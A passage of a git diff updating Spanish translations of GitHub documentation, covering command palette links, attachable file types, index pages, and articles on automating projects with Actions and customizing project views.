-224,6 +224,6 @@ These commands are available only when you open the command palette from a pull |`Copy current branch name`| Add the name of the head branch for the pull request to the clipboard. |`Edit pull request body`|Open the main body of the pull request ready for editing. |`Edit pull request title`|Open the title of the pull request ready for editing. -|`Open in new codespace`|Create and open a codespace for the head branch of the pull request. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +|`Open in new codespace`|Create and open a codespace for the head branch of the pull request. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." |`Subscribe`/`unsubscribe`|Opt in or out of notifications for changes to this pull request. For more information, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." |`Update current branch`|Update the head branch of the pull request with changes from the base branch. This is available only for pull requests that target the default branch of the repository. For more information, see "[About branches](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)."| diff --git a/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md b/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md index 0d8309b7b8..c7e0a830e5 100644 --- a/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md +++ b/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md @@ -49,8 +49,8 @@ We support these files: * Microsoft Word (*.docx*), Powerpoint (*.pptx*), and Excel (*.xlsx*) documents * Text files (*.txt*) * PDFs (*.pdf*) -* ZIP (*.zip*, *.gz*){% ifversion fpt or ghec or ghes %} -* Video (*.mp4*, *.mov*){% endif %} +* ZIP (*.zip*, *.gz*, *.tgz*){% ifversion fpt or ghec or ghes %} +* Video (*.mp4*, *.mov*, *.webm*){% endif %} {% ifversion fpt or ghec or ghes %}{% note %} diff --git a/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/index.md b/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/index.md index 67d3253f05..fceab32b3a 100644 --- a/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/index.md +++ b/translations/es-ES/content/get-started/writing-on-github/working-with-advanced-formatting/index.md @@ -17,14 +17,15 @@ children: - /writing-mathematical-expressions - /autolinked-references-and-urls - /attaching-files + - /about-task-lists - /creating-a-permanent-link-to-a-code-snippet - /using-keywords-in-issues-and-pull-requests shortTitle: Work with advanced formatting -ms.openlocfilehash: 9296f11fa36214ab14ee92b2d938813ae94713af -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.openlocfilehash: b7f52fc620c65c62b050f44a396e3a048e1ad7ac +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147882405' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159980' --- diff --git a/translations/es-ES/content/github-cli/index.md b/translations/es-ES/content/github-cli/index.md index bbffa38ec2..8c54aabee4 100644 --- a/translations/es-ES/content/github-cli/index.md +++ b/translations/es-ES/content/github-cli/index.md @@ -18,7 +18,7 @@ featuredLinks: - /github-cli/github-cli/creating-github-cli-extensions - /github-cli/github-cli/using-github-cli-extensions - /actions/guides/using-github-cli-in-workflows - - /codespaces/developing-in-codespaces/using-codespaces-with-github-cli + - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli popular: - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request - /issues/tracking-your-work-with-issues/creating-an-issue @@ -33,11 +33,11 @@ changelog: label: cli layout: product-landing beta_product: false -ms.openlocfilehash: baa7f3b173c35a1629a57860f23eef57c88fc2f9 -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.openlocfilehash: 4f74b69ccb0a49c449e9da96229b6ee01580d696 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '145069779' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160345' --- diff --git a/translations/es-ES/content/index.md b/translations/es-ES/content/index.md index 014faefb2a..9b61ae8bd8 100644 --- a/translations/es-ES/content/index.md +++ b/translations/es-ES/content/index.md @@ -76,6 +76,7 @@ childGroups: children: - code-security - code-security/supply-chain-security + - code-security/security-advisories - code-security/dependabot - code-security/code-scanning - code-security/secret-scanning @@ -128,11 +129,11 @@ externalProducts: name: npm href: 'https://docs.npmjs.com/' external: true -ms.openlocfilehash: 09ad193360503125adce9c659a465cfae32dd54e -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.openlocfilehash: c76f5cd822d9b7bed7129626283552892366b57a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148107633' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158873' --- diff --git a/translations/es-ES/content/issues/index.md b/translations/es-ES/content/issues/index.md index 218ca874d7..9aec321d0e 100644 --- a/translations/es-ES/content/issues/index.md +++ b/translations/es-ES/content/issues/index.md @@ -21,7 +21,7 @@ featuredLinks: - /issues/tracking-your-work-with-issues/creating-issues/about-issues - /issues/planning-and-tracking-with-projects/learning-about-projects/about-projects - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project - - /issues/tracking-your-work-with-issues/creating-issues/about-task-lists + - /issues/tracking-your-work-with-issues/creating-issues/about-tasklists - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates - /issues/using-labels-and-milestones-to-track-work/managing-labels - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests @@ -73,11 +73,11 @@ redirect_from: - /disabling-issues - /linking-a-pull-request-to-an-issue - /about-duplicate-issues-and-pull-requests -ms.openlocfilehash: 77ed4853ea625e6c4daa2548086e84ab0979ed5b -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 0f9165bd3fe278316fcf8cec72b6b49cfce02140 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147443684' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160358' --- diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md index 87e7359893..4d7ee2fca9 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions.md @@ -1,7 +1,7 @@ --- -title: 'Automating {% data variables.product.prodname_projects_v2 %} using Actions' +title: 'Automatización de {% data variables.product.prodname_projects_v2 %} mediante acciones' shortTitle: Automating with Actions -intro: 'You can use {% data variables.product.prodname_actions %} to automate your projects.' +intro: 'Puedes usar {% data variables.product.prodname_actions %} para automatizar los proyectos.' miniTocMaxHeadingLevel: 3 versions: feature: projects-v2 @@ -11,44 +11,48 @@ type: tutorial topics: - Projects allowTitleToDifferFromFilename: true +ms.openlocfilehash: c21e201e538d09826bd0d00f22fe60508c9d6a61 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106849' --- +## Flujos de trabajo de {% data variables.product.prodname_actions %} +Esta sección demuestra cómo utilizar la API de GraphQL y las {% data variables.product.prodname_actions %} para agregar una solicitud de cambios a un proyecto organizacional. En los flujos de trabajo de ejemplo, cuando la solicitud de cambios se marca como "lista para revisión", se agrega una tarea nueva al proyecto con un campo de "Estado" configurado en "Pendiente" y se agrega la fecha actual a un campo personalizado de "Fecha en la que se publicó". -## {% data variables.product.prodname_actions %} workflows +Puedes copiar uno de los siguientes flujos de trabajo y modificarlo de acuerdo con lo descrito en la siguiente tabla para que satisfaga tus necesidades. -This section demonstrates how to use the GraphQL API and {% data variables.product.prodname_actions %} to add a pull request to an organization project. In the example workflows, when the pull request is marked as "ready for review", a new task is added to the project with a "Status" field set to "Todo", and the current date is added to a custom "Date posted" field. +Un proyecto puede abarcar repositorios múltiples, pero un flujo de trabajo es específico par aun repositorio. Agregue el flujo de trabajo a cada repositorio del que quiera que realice un seguimiento el proyecto. Para obtener más información sobre cómo crear archivos de flujo de trabajo, vea "[Inicio rápido para {% data variables.product.prodname_actions %}](/actions/quickstart)". -You can copy one of the workflows below and modify it as described in the table below to meet your needs. +Este artículo asume que tienes un entendimiento básico de las {% data variables.product.prodname_actions %}. Para obtener más información sobre {% data variables.product.prodname_actions %}, vea "[{% data variables.product.prodname_actions %}](/actions)". -A project can span multiple repositories, but a workflow is specific to a repository. Add the workflow to each repository that you want your project to track. For more information about creating workflow files, see "[Quickstart for {% data variables.product.prodname_actions %}](/actions/quickstart)." +Para obtener más información sobre otros cambios que puede realizar en el proyecto mediante la API, consulte "[Uso de la API para administrar proyectos](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)". -This article assumes that you have a basic understanding of {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %}, see "[{% data variables.product.prodname_actions %}](/actions)." - -For more information about other changes you can make to your project through the API, see "[Using the API to manage projects](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects)." - -You may also want to use the **actions/add-to-project** workflow, which is maintained by {% data variables.product.company_short %} and will add the current issue or pull request to the project specified. For more information, see the [actions/add-to-project](https://github.com/actions/add-to-project) repository and README. +También puedes usar el flujo de trabajo **actions/add-to-project**, que mantiene {% data variables.product.company_short %} y agregará la incidencia o solicitud de incorporación de cambios actual al proyecto especificado. Para más información, consulta el repositorio [actions/add-to-project](https://github.com/actions/add-to-project) y el archivo LÉAME. {% note %} -**Note:** `GITHUB_TOKEN` is scoped to the repository level and cannot access {% data variables.projects.projects_v2 %}. To access {% data variables.projects.projects_v2 %} you can either create a {% data variables.product.prodname_github_app %} (recommended for organization projects) or a {% data variables.product.pat_generic %} (recommended for user projects). Workflow examples for both approaches are shown below. +**Nota:** `GITHUB_TOKEN` tiene como ámbito el nivel de repositorio y no puede acceder a {% data variables.projects.projects_v2 %}. Para acceder a {% data variables.projects.projects_v2 %}, puedes crear una {% data variables.product.prodname_github_app %} (recomendado para proyectos de la organización) o un {% data variables.product.pat_generic %} (recomendado para proyectos de usuario). A continuación se muestran los ejemplos de flujo de trabajo para ambos acercamientos. {% endnote %} -### Example workflow authenticating with a {% data variables.product.prodname_github_app %} +### Flujo de trabajo ejemplo autenticándose con una {% data variables.product.prodname_github_app %} -1. Create a {% data variables.product.prodname_github_app %} or choose an existing {% data variables.product.prodname_github_app %} owned by your organization. For more information, see "[Creating a {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)." -2. Give your {% data variables.product.prodname_github_app %} read and write permissions to organization projects. For more information, see "[Editing a {% data variables.product.prodname_github_app %}'s permissions](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)." +1. Crea una {% data variables.product.prodname_github_app %} o elige una {% data variables.product.prodname_github_app %} existente que le pertenezca a tu organización. Para obtener más información, vea "[Creación de una {% data variables.product.prodname_github_app %}](/developers/apps/building-github-apps/creating-a-github-app)". +2. Dale a tu {% data variables.product.prodname_github_app %} permisos de lectura y escritura para los proyectos organizacionales. Para obtener más información, vea "[Edición de permisos de una {% data variables.product.prodname_github_app %}](/developers/apps/managing-github-apps/editing-a-github-apps-permissions)". {% note %} - **Note:** You can control your app's permission to organization projects and to repository projects. You must give permission to read and write organization projects; permission to read and write repository projects will not be sufficient. + **Nota:** Puede controlar el permiso de la aplicación para los proyectos de la organización y para los proyectos del repositorio. Debes otorgar permisos de lectura y escritura de proyectos organizacionales; los permisos de lectura y escritura en los proyectos de repositorio no serán suficientes. {% endnote %} -3. Install the {% data variables.product.prodname_github_app %} in your organization. Install it for all repositories that your project needs to access. For more information, see "[Installing {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)." -4. Store your {% data variables.product.prodname_github_app %}'s ID as a secret in your repository or organization. In the following workflow, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/reference/apps#get-an-app)." -5. Generate a private key for your app. Store the contents of the resulting file as a secret in your repository or organization. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following workflow, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)." -6. In the following workflow, replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. +3. Instala la {% data variables.product.prodname_github_app %} en tu organización. Instálala para todos los repositorios a los cuales necesita acceso tu proyecto. Para más información, vea "[Instalación de {% data variables.product.prodname_github_apps %}](/developers/apps/managing-github-apps/installing-github-apps#installing-your-private-github-app-on-your-repository)". +4. Almacena la ID de tu {% data variables.product.prodname_github_app %} como un secreto en tu repositorio u organización. En el flujo de trabajo siguiente, reemplace `APP_ID` por el nombre del secreto. Puedes encontrar tu ID de app en la página de ajustes de tu app o mediante la API de la misma. Para obtener más información, consulte "[Aplicaciones](/rest/reference/apps#get-an-app)". +5. Generar una llave privada para tu app. Almacena el contenido del archivo resultante como secreto en tu repositorio u organización. (Almacene todo el contenido del archivo, incluido el contenido de `-----BEGIN RSA PRIVATE KEY-----` y `-----END RSA PRIVATE KEY-----`). En el flujo de trabajo siguiente, reemplace `APP_PEM` por el nombre del secreto. Para más información, vea "[Autenticación con {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)". +6. En el flujo de trabajo siguiente, reemplace `YOUR_ORGANIZATION` por el nombre de la organización. Por ejemplo: `octo-org`. Reemplace `YOUR_PROJECT_NUMBER` por el número del proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto. ```yaml{:copy} {% data reusables.actions.actions-not-certified-by-github-comment %} @@ -167,11 +171,11 @@ jobs: ``` -### Example workflow authenticating with a {% data variables.product.pat_generic %} +### Flujo de trabajo de ejemplo de autenticación con una {% data variables.product.pat_generic %} -1. Create a {% data variables.product.pat_v1 %} with the `project` and `repo` scopes. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." -2. Save the {% data variables.product.pat_generic %} as a secret in your repository or organization. -3. In the following workflow, replace `YOUR_TOKEN` with the name of the secret. Replace `YOUR_ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `YOUR_PROJECT_NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5. +1. Crea una {% data variables.product.pat_v1 %} con los ámbitos `project` y `repo`. Para obtener más información, consulta "[Creación de una {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". +2. Guarda el {% data variables.product.pat_generic %} como un secreto en el repositorio u organización. +3. En el flujo de trabajo siguiente, reemplace `YOUR_TOKEN` por el nombre del secreto. Reemplace `YOUR_ORGANIZATION` por el nombre de la organización. Por ejemplo, `octo-org`. Reemplace `YOUR_PROJECT_NUMBER` por el número del proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto. ```yaml{:copy} name: Add PR to project @@ -279,9 +283,9 @@ jobs: ``` -### Workflow explanation +### Explicación del flujo de trabajo -The following table explains sections of the example workflows and shows you how to adapt the workflows for your own use. +La siguiente tabla explica las secciones de los flujos de trabajo de ejemplo y te muestra cómo adaptar los flujos de trabajo para tu propio uso. @@ -297,14 +301,14 @@ on: @@ -350,16 +354,16 @@ env: @@ -395,9 +399,9 @@ gh api graphql -f query=' @@ -413,12 +417,12 @@ echo 'TODO_OPTION_ID='$(jq '.data.organization.projectV2.fields.nodes[] | select @@ -443,7 +447,7 @@ env: @@ -464,7 +468,7 @@ item_id="$( gh api graphql -f query=' @@ -477,7 +481,7 @@ echo 'ITEM_ID='$item_id >> $GITHUB_ENV @@ -490,7 +494,7 @@ echo "DATE=$(date +"%Y-%m-%d")" >> $GITHUB_ENV @@ -513,7 +517,7 @@ env: @@ -560,7 +564,7 @@ gh api graphql -f query=' diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md index 960ace9738..6fff7f0a3e 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md @@ -1,6 +1,6 @@ --- -title: Customizing a view -intro: 'Display the information you need by changing the layout, grouping, sorting in your project.' +title: Personalización de una vista +intro: 'Muestra la información que necesitas mediante el cambio del diseño, la agrupación y la ordenación en el proyecto.' miniTocMaxHeadingLevel: 3 versions: feature: projects-v2 @@ -9,142 +9,146 @@ redirect_from: type: tutorial topics: - Projects +ms.openlocfilehash: 0a7d1076fcf1a9d7f20b65a5e0a75b7d8029f834 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106777' --- +## Cambiar el diseño del proyecto - -## Changing the project layout - -You can view your project as a table or as a board. +Puedes ver tu proyecto como una tabla o como un tablero. {% data reusables.projects.open-view-menu %} -1. Under "Layout", click either **Table** or **Board**. - ![Screenshot showing layout option](/assets/images/help/projects-v2/table-or-board.png) +1. En "Diseño", haz clic en **Tabla** o **Panel**. + ![Captura de pantalla en la que se muestra la opción Diseño](/assets/images/help/projects-v2/table-or-board.png) -Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Switch layout." +Como alternativa, presiona {% data variables.projects.command-palette-shortcut %} para abrir la paleta de comandos del proyecto y empieza a escribir "Cambiar diseño". -## Showing and hiding fields +## Mostrar y ocultar campos -You can show or hide a specific field. +Puedes mostrar u ocultar un campo específico. {% data reusables.projects.open-view-menu %} -1. Under "Configuration", click {% octicon "note" aria-label="the note icon" %} and the list of currently shown fields. - ![Screenshot showing show and hide fields menu option](/assets/images/help/projects-v2/show-hide-fields-menu-item.png) -1. Select or deselect the fields you want to show or hide. - ![Screenshot showing show and hide fields menu](/assets/images/help/projects-v2/show-hide-fields.png) +1. En "Configuración", haz clic en {% octicon "note" aria-label="the note icon" %} y la lista de campos mostrados actualmente. + ![Captura de pantalla en la que se muestra la opción de menú Mostrar y ocultar campos](/assets/images/help/projects-v2/show-hide-fields-menu-item.png) +1. Selecciona o anula la selección de los campos que quieras mostrar u ocultar. + ![Captura de pantalla en la que se muestra el menú Mostrar y ocultar campos](/assets/images/help/projects-v2/show-hide-fields.png) -You can also hide individual fields in table view. +También puedes ocultar campos individuales en la vista de tabla. -1. Next to the field you want to hide, click {% octicon "kebab-horizontal" aria-label="the kebab icon" %}. - ![Screenshot showing field menu icon](/assets/images/help/projects-v2/modify-field-menu.png) -1. Click {% octicon "eye-closed" aria-label="the eye closed icon" %} **Hide field**. - ![Screenshot showing hide field menu option](/assets/images/help/projects-v2/hide-field-via-menu.png) +1. Junto al campo que quieras ocultar, haz clic en {% octicon "kebab-horizontal" aria-label="the kebab icon" %}. + ![Captura de pantalla en la que se muestra el icono de menú Campo](/assets/images/help/projects-v2/modify-field-menu.png) +1. Haz clic en {% octicon "eye-closed" aria-label="the eye closed icon" %} **Ocultar campo**. + ![Captura de pantalla en la que se muestra la opción de menú Ocultar campo](/assets/images/help/projects-v2/hide-field-via-menu.png) -Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "show", "hide", or the name of the field. +Como alternativa, presiona {% data variables.projects.command-palette-shortcut %} para abrir la paleta de comandos del proyecto y empieza a escribir "mostrar", "ocultar" o el nombre del campo. -## Reordering fields +## Reordenar los campos -In table layout, you can change the order of fields. +En el diseño de tabla, puedes cambiar el orden de los campos. -1. Click the field header. - ![Screenshot showing the field header](/assets/images/help/projects-v2/select-field-header.png) -2. While continuing to click, drag the field to the required location. +1. Haz clic en el encabezado del campo. + ![Captura de pantalla en la que se muestra el encabezado del campo](/assets/images/help/projects-v2/select-field-header.png) +2. Mientras haces clic, arrastra el campo a la ubicación requerida. -## Reordering rows +## Reordenar filas -In table layout, you can change the order of rows. +En el diseño de tabla, puedes cambiar el orden de las filas. -1. Click the number at the start of the row. - ![Screenshot showing the row number](/assets/images/help/projects-v2/select-row-number.png) -2. While continuing to click, drag the row to the required location. +1. Haz clic en el número al inicio de la fila. + ![Captura de pantalla en la que se muestra el número de fila](/assets/images/help/projects-v2/select-row-number.png) +2. Mientras haces clic, arrastra la fila a la ubicación requerida. -## Sorting by field values +## Clasificar por valor de campo -In table layout, you can sort items by a field value. +En el diseño de tabla, puedes organizar los elementos por valor de campo. {% note %} -**Note:** When a table is sorted, you cannot manually reorder rows. +**Nota**: Cuando se ordena una tabla, no se pueden reordenar filas manualmente. {% endnote %} {% data reusables.projects.open-view-menu %} -1. Click **Sort**. - ![Screenshot showing the sort menu item](/assets/images/help/projects-v2/sort-menu-item.png) -1. Click the field you want to sort by. - ![Screenshot showing the sort menu](/assets/images/help/projects-v2/sort-menu.png) -2. Optionally, to change the direction of the sort, click {% octicon "sort-desc" aria-label="the sort icon" %}. - ![Screenshot showing sort order option](/assets/images/help/projects-v2/sort-order.png) -3. Optionally, to remove a sort, click {% octicon "x" aria-label="the x icon" %} **No sorting** at the bottom of the list. - ![Screenshot showing "no sorting"](/assets/images/help/projects-v2/no-sorting.png) +1. Haz clic en **Ordenar**. + ![Captura de pantalla en la que se muestra el elemento de menú Ordenar](/assets/images/help/projects-v2/sort-menu-item.png) +1. Haz clic el campo por el que quieras ordenar. + ![Captura de pantalla en la que se muestra el menú Ordenar](/assets/images/help/projects-v2/sort-menu.png) +2. Opcionalmente, para cambiar la dirección de la ordenación, haz clic en {% octicon "sort-desc" aria-label="the sort icon" %}. + ![Captura de pantalla en la que se muestra la opción Criterio de ordenación](/assets/images/help/projects-v2/sort-order.png) +3. Opcionalmente, para quitar una ordenación, haz clic en {% octicon "x" aria-label="the x icon" %} **Sin ordenación** en la parte inferior de la lista. + ![Captura de pantalla en la que se muestra "Sin ordenación"](/assets/images/help/projects-v2/no-sorting.png) -Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Sort by." +Como alternativa, presiona {% data variables.projects.command-palette-shortcut %} para abrir la paleta de comandos del proyecto y empieza a escribir "Ordenar por". -## Grouping by field values in table layout +## Agrupar por valores de campo en el diseño de tabla -In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`. Similarly, when you add a new item to a group, the new item is populated with the value of the group. +En el diseño de tabla, puedes agrupar elementos por un valor de campo personalizado. Cuando los elementos se agrupan, si arrastras un elemento a un grupo nuevo, se aplica el valor de este grupo. Por ejemplo, si agrupa por "Status" (Estado) y, después, arrastra un elemento con un estado de `In progress` al grupo `Done`, el estado del elemento cambiará a `Done`. De forma similar, cuando agregues un elemento nuevo a un grupo, este elemento se poblará con el valor del grupo. {% note %} -**Note:** You cannot group by title, labels, reviewers, or linked pull requests. +**Nota**: No se puede agrupar por título, etiquetas, revisores o solicitudes de incorporación de cambios vinculadas. {% endnote %} {% data reusables.projects.open-view-menu %} -1. Click {% octicon "rows" aria-label="the rows icon" %} **Group**. - ![Screenshot showing the group menu item](/assets/images/help/projects-v2/group-menu-item.png) -1. Click the field you want to group by. - ![Screenshot showing the group menu](/assets/images/help/projects-v2/group-menu.png) -2. Optionally, to disable grouping, click {% octicon "x" aria-label="the x icon" %} **No grouping** at the bottom of the list. - ![Screenshot showing "no grouping"](/assets/images/help/projects-v2/no-grouping.png) +1. Haz clic en {% octicon "rows" aria-label="the rows icon" %} **Agrupar**. + ![Captura de pantalla en la que se muestra el elemento de menú Agrupar](/assets/images/help/projects-v2/group-menu-item.png) +1. Haz clic en el campo por el que quieras agrupar. + ![Captura de pantalla en la que se muestra el menú Agrupar](/assets/images/help/projects-v2/group-menu.png) +2. Opcionalmente, para deshabilitar la agrupación, haz clic en {% octicon "x" aria-label="the x icon" %} **Sin agrupación** en la parte inferior de la lista. + ![Captura de pantalla en la que se muestra "Sin agrupación"](/assets/images/help/projects-v2/no-grouping.png) -Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Group by." +Como alternativa, presiona {% data variables.projects.command-palette-shortcut %} para abrir la paleta de comandos del proyecto y empieza a escribir "Agrupar por". {% ifversion projects-v2-numeric-summary %} -## Showing the sum of a number field +## Mostrar la suma de un campo de número -You can configure a view to show the sum of one of more number fields, including a count of items in the group or column. For example, if you have a number field tracking the number of hours each item may take to complete, you can display of sum of those hours for each group or column. +Puedes configurar una vista para que muestre la suma de uno o varios campos numéricos, incluido un recuento de elementos en el grupo o la columna. Por ejemplo, si tienes un campo numérico que realiza el seguimiento del número de horas que cada elemento puede tardar en completarse, puedes mostrar la suma de esas horas de cada grupo o columna. -In board layout, field sums are displayed at the top of each column. In table layout, when you enable grouping by a field, field sums are included in each group's header. +En el diseño de tablero, las sumas de campo se muestran encima de cada columna. En el diseño de tabla, al habilitar la agrupación por un campo, las sumas de campo se incluyen en el encabezado de cada grupo. {% data reusables.projects.open-view-menu %} -1. Click {% octicon "number" aria-label="the number icon" %} **Field sum**. +1. Haz clic en {% octicon "number" aria-label="the number icon" %} **Suma de campo**. - ![Screenshot showing the field sum menu item](/assets/images/help/projects-v2/field-sum-menu.png) + ![Captura de pantalla del elemento de menú Suma de campo](/assets/images/help/projects-v2/field-sum-menu.png) -1. Select the fields you want to include. +1. Selecciona los campos que quieras incluir. - ![Screenshot showing the field sum menu](/assets/images/help/projects-v2/field-sum-select-field.png) + ![Captura de pantalla del menú Suma de campo](/assets/images/help/projects-v2/field-sum-select-field.png) {% endif %} -## Setting the column field in board layout +## Configurar el campo de columna en el diseño del tablero -In the board layout, you choose any single select or iteration field for your columns. If you drag an item to a new column, the value of that column is applied to the dragged item. For example, if you use the "Status" field for your board columns and then drag an item with a status of `In progress` to the `Done` column, the status of the item will switch to `Done`. +En el diseño de tablero, puedes elegir cualquier campo simple o de iteración para tus columnas. Si arrastras a un elemento a una columna nueva, el valor de dicha columna se aplicará al elemento que arrastraste. Por ejemplo, si usa el campo "Status" (Estado) para las columnas del panel y, después, arrastra un elemento con un estado de `In progress` a la columna `Done`, el estado del elemento cambiará a `Done`. {% data reusables.projects.open-view-menu %} -1. Click {% octicon "columns" aria-label="the columns icon" %} **Column field**. - ![Screenshot showing the column field item](/assets/images/help/projects-v2/column-field-menu-item.png) -1. Click the field you want to use. - ![Screenshot showing the column field menu](/assets/images/help/projects-v2/column-field-menu.png) +1. Haz clic en {% octicon "columns" aria-label="the columns icon" %} **Campo de columna**. + ![Captura de pantalla en la que se muestra el elemento Campo de columna](/assets/images/help/projects-v2/column-field-menu-item.png) +1. Haz clic en el campo que quieras usar. + ![Captura de pantalla en la que se muestra el menú Campo de columna](/assets/images/help/projects-v2/column-field-menu.png) -Alternatively, open the project command palette by pressing {% data variables.projects.command-palette-shortcut %} and start typing "Column field by." +Como alternativa, presiona {% data variables.projects.command-palette-shortcut %} para abrir la paleta de comandos del proyecto y empieza a escribir "Campo de columna por". {% ifversion projects-v2-column-visibility %} -## Showing and hiding columns in board layout +## Mostrar y ocultar columnas en un diseño de tablero -In the board layout, you can can choose which columns to display. The available columns are made up of the contents of your selected column field. +En un diseño de tablero, puedes elegir las columnas que se van a mostrar. Las columnas disponibles se componen del contenido del campo de columna seleccionado. -1. In the board layout, scroll to the right of your columns, and click {% octicon "plus" aria-label="the plus icon" %}. +1. En el diseño de tablero, desplázate a la derecha de las columnas y haz clic en {% octicon "plus" aria-label="the plus icon" %}. - ![Screenshot showing the plus symbol button](/assets/images/help/projects-v2/board-add-column.png) + ![Captura de pantalla del botón de símbolo más](/assets/images/help/projects-v2/board-add-column.png) -1. Select the columns you want to show. +1. Selecciona las columnas que quieras mostrar u ocultar. - ![Screenshot showing the list of columns](/assets/images/help/projects-v2/board-select-columns.png) + ![Captura de pantalla de la lista de columnas](/assets/images/help/projects-v2/board-select-columns.png) {% endif %} diff --git a/translations/es-ES/content/issues/planning-and-tracking-with-projects/index.md b/translations/es-ES/content/issues/planning-and-tracking-with-projects/index.md index 13c90d661a..93fd5acbc5 100644 --- a/translations/es-ES/content/issues/planning-and-tracking-with-projects/index.md +++ b/translations/es-ES/content/issues/planning-and-tracking-with-projects/index.md @@ -11,7 +11,7 @@ children: - /learning-about-projects - /creating-projects - /managing-items-in-your-project - - /understanding-field-types + - /understanding-fields - /customizing-views-in-your-project - /automating-your-project - /viewing-insights-from-your-project @@ -19,11 +19,11 @@ children: allowTitleToDifferFromFilename: true redirect_from: - /issues/trying-out-the-new-projects-experience -ms.openlocfilehash: 